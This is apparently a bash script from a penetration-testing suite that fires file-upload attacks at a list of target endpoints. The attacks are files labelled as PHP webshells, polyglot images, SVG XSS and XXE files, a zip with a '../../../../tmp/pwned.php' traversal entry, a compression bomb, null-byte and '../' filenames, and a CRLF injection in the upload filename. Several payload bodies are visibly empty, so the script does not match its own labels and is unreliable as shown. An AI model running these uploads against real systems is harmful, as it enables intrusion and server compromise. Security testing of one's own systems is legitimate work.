#!/bin/bash # 31 - File Upload Security # Tests: polyglots, extension bypass, MIME confusion, path traversal in filename, # oversized files, archive bombs, SVG/HTML/XML weaponisation, null-byte bypass # Covers all upload endpoints: PDF tools api.php, any /upload paths SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/../config.sh" OUT_FILE="$OUT/31_file_upload.txt" echo "=== 31. File Upload Security ===" | tee "$OUT_FILE" echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE" echo "" | tee -a "$OUT_FILE" UPLOAD_ENDPOINTS=( "$TARGET/pdf/api.php" "$TARGET/upload" "$TARGET/api/upload" "$API_TARGET/upload" "$API_TARGET/convert" "$API_TARGET/process" ) do_upload() { local label="$1" file="$2" ct="$3" fname="$4" endpoint="$5" local code body code=$(curl -sk --http2 -o /tmp/upload_resp.txt -w '%{http_code}' --max-time 15 \ -A "$BROWSER_UA" \ -F "file=@$file;type=$ct;filename=$fname" \ -F "action=merge" \ "$endpoint") body=$(cat /tmp/upload_resp.txt 2>/dev/null) printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE" # Flag dangerous indicators if echo "$body" | grep -qiE '(uid=|root:|/etc/passwd|phpinfo|shell_exec|system\(|Warning:|Fatal error:|Parse error:)'; then echo " [VULN] Dangerous content in response" | tee -a "$OUT_FILE" echo "$body" | grep -ioE '(uid=|root:|phpinfo|shell_exec)[^\n]{0,60}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE" fi } # Create test files TMPD=$(mktemp -d) # Legitimate PDF printf '%PDF-1.4\n1 0 obj<>\nendobj\n' > "$TMPD/test.pdf" # PHP webshell disguised as PDF printf '%PDF-1.4\n' > "$TMPD/shell.pdf" # PHP webshell with double extension printf '' > "$TMPD/shell.php.pdf" # PHP in .jpg printf '\xff\xd8\xff\xe0' > "$TMPD/shell.jpg" # SVG with embedded JavaScript cat > "$TMPD/xss.svg" << 'EOF' EOF # SVG with XXE cat > "$TMPD/xxe.svg" << 'EOF' ]> &xxe; EOF # HTML file (stored XSS if served) cat > "$TMPD/xss.html" << 'EOF' EOF # Polyglot: valid JPEG header + PHP payload python3 -c " import struct # JPEG magic bytes + PHP payload data = b'\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' data += b'' open('$TMPD/polyglot.jpg', 'wb').write(data) " # Zip bomb (small but expands to stress parser) python3 -c " import zipfile, io, os buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z: z.writestr('bomb.txt', 'A' * 100000) open('$TMPD/small.zip', 'wb').write(buf.getvalue()) " # Archive with path traversal filename python3 -c " import zipfile, io buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as z: z.writestr('../../../../tmp/pwned.php', '') open('$TMPD/traversal.zip', 'wb').write(buf.getvalue()) " # Huge file (10MB to test size limits) python3 -c "open('$TMPD/large.pdf', 'wb').write(b'%PDF-1.4\n' + b'X'*10000000)" # ── Test each upload endpoint ───────────────────────────────────────────────── for EP in "${UPLOAD_ENDPOINTS[@]}"; do # First check if endpoint exists CHECK_CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP") if [ "$CHECK_CODE" = "000" ] || [ "$CHECK_CODE" = "404" ]; then printf '[%s] Endpoint not found: %s\n' "$CHECK_CODE" "$EP" | tee -a "$OUT_FILE" continue fi echo "--- Endpoint: $EP ---" | tee -a "$OUT_FILE" # Extension bypass do_upload "PHP shell as .pdf" "$TMPD/shell.pdf" "application/pdf" "shell.pdf" "$EP" do_upload "PHP double extension .php.pdf" "$TMPD/shell.php.pdf" "application/pdf" "shell.php.pdf" "$EP" do_upload "PHP null-byte .php%00.pdf" "$TMPD/shell.php.pdf" "application/pdf" "shell.php%00.pdf" "$EP" do_upload "PHP with valid JPEG magic" "$TMPD/polyglot.jpg" "image/jpeg" "image.jpg" "$EP" # MIME confusion do_upload "PHP file with image/jpeg MIME" "$TMPD/shell.pdf" "image/jpeg" "photo.jpg" "$EP" do_upload "HTML file as text/plain" "$TMPD/xss.html" "text/plain" "readme.txt" "$EP" do_upload "SVG XSS as image/svg+xml" "$TMPD/xss.svg" "image/svg+xml" "logo.svg" "$EP" do_upload "SVG XXE as image/svg+xml" "$TMPD/xxe.svg" "image/svg+xml" "icon.svg" "$EP" # Path traversal in filename do_upload "Traversal filename ../../shell.php" "$TMPD/shell.pdf" "application/pdf" "../../shell.php" "$EP" do_upload "Traversal zip bomb" "$TMPD/traversal.zip" "application/zip" "archive.zip" "$EP" # Archive attacks do_upload "Zip bomb (100KB compressed)" "$TMPD/small.zip" "application/zip" "docs.zip" "$EP" # Size limit do_upload "Oversized file (10MB)" "$TMPD/large.pdf" "application/pdf" "large.pdf" "$EP" echo "" | tee -a "$OUT_FILE" done # ── Content-Disposition injection ──────────────────────────────────────────── echo "--- Content-Disposition Header Injection ---" | tee -a "$OUT_FILE" for EP in "${UPLOAD_ENDPOINTS[@]}"; do CHECK_CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP") [ "$CHECK_CODE" = "000" ] || [ "$CHECK_CODE" = "404" ] && continue # CRLF in filename code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 \ -A "$BROWSER_UA" \ -F $'file=@'"$TMPD/test.pdf"$';filename="test\r\nContent-Type: text/html\r\n\r\n.pdf"' \ -F "action=merge" "$EP") printf '[%s] CRLF in Content-Disposition filename → %s\n' "$code" "$EP" | tee -a "$OUT_FILE" done echo "" | tee -a "$OUT_FILE" # ── HTTP/1.1 vs HTTP/2 upload consistency ───────────────────────────────────── echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE" EP="$TARGET/pdf/api.php" CHECK_CODE=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$EP") if [ "$CHECK_CODE" != "000" ] && [ "$CHECK_CODE" != "404" ]; then for PROTO in "--http1.1" "--http2"; do code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 \ -A "$BROWSER_UA" \ -F "file=@$TMPD/shell.pdf;type=application/pdf;filename=shell.pdf" \ -F "action=merge" "$EP") printf '[%s] %s PHP-in-PDF upload\n' "$code" "$PROTO" | tee -a "$OUT_FILE" done fi echo "" | tee -a "$OUT_FILE" # Cleanup rm -rf "$TMPD" echo "=== 31. File Upload Security COMPLETE ===" | tee -a "$OUT_FILE"